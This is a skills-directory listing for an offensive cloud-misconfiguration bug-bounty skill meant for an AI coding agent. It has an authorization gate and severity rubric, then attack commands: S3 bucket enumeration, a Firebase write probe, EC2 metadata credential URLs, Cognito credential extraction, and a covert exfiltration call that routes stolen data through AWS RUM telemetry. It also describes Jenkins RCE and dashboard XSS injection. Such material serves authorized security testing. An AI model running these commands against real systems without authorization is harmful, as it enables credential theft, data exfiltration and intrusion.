Hunt cloud / infrastructure misconfigurations.
Pro shows the line behind each finding and how to fix it
Scanned 9/24/2026
npx -y skills add sickn33/antigravity-awesome-skills --skill hunt-cloud-misconfig --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Hunt Cloud Misconfig?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/sickn33-hunt-cloud-misconfig-f24ec8c2)More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.
---
name: hunt-cloud-misconfig
description: Hunt cloud / infrastructure misconfigurations.
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
relevant testing tools for this technique. Docs-only; helper scripts and commands
not bundled.
sources: hackerone_public, public_research
report_count: 6
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
## 16. CLOUD / INFRA MISCONFIGS
### S3 / GCS / Azure Blob
```bash
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
```
### EC2 Metadata (via SSRF)
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
```
### Exposed Admin Panels
```
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
```
---
### Jenkins SSO-restriction failure → Script Console RCE
An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.
### Exposed message broker (RabbitMQ / AMQP) with default creds
Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.
## Local-verification toolchain
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
```bash
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
```
Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow.
---
## CloudWatch RUM Weaponization (2024-2026 surface)
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.
### Detection — JS bundle fingerprints
**Snippet-style (most common, embedded in `<head>`):**
```javascript
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
```
**NPM-style (aws-rum-web package):**
```javascript
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
```
### Regex set for recon
```bash
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"] ([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"] ([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
```
### Attack chains
**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:
```bash
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
```
Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.<region>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:
```bash
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
```
Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com/cwr.js`) or bundle `aws-rum-web` and serve from `static.target.com/main.<hash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.
**Chain D — Telemetry injection / dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
### Severity rubric
| Finding | Severity | Justification |
|---|---|---|
| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |
| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil / RCE depending on resource |
| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |
| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |
| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |
| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |
| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |
### Disclosed cases / authoritative writeups
No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
- **Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023)** — establishes the attack class. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu)
- **NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
- **Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)
- **aws-observability/aws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com/aws-observability/aws-rum-web](https://github.com/aws-observability/aws-rum-web/issues)
### Validation checklist (before reporting)
1. Extract `identityPoolId` from page source.
2. Confirm pool allows unauth identities (`get-id` succeeds without auth).
3. Confirm `get-credentials-for-identity` returns STS creds.
4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.
5. Run `enumerate-iam` / Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.
6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
7. **Do not** modify/delete data even if permitted — read-only PoC only.
---
## Related Skills & Chains
- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.
- **`cloud-iam-deep`** — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.
- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.
- **`supply-chain-attack-recon`** — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.
- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.
- **`triage-validation`** — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.
## When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
## Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
### Example
```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
```
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!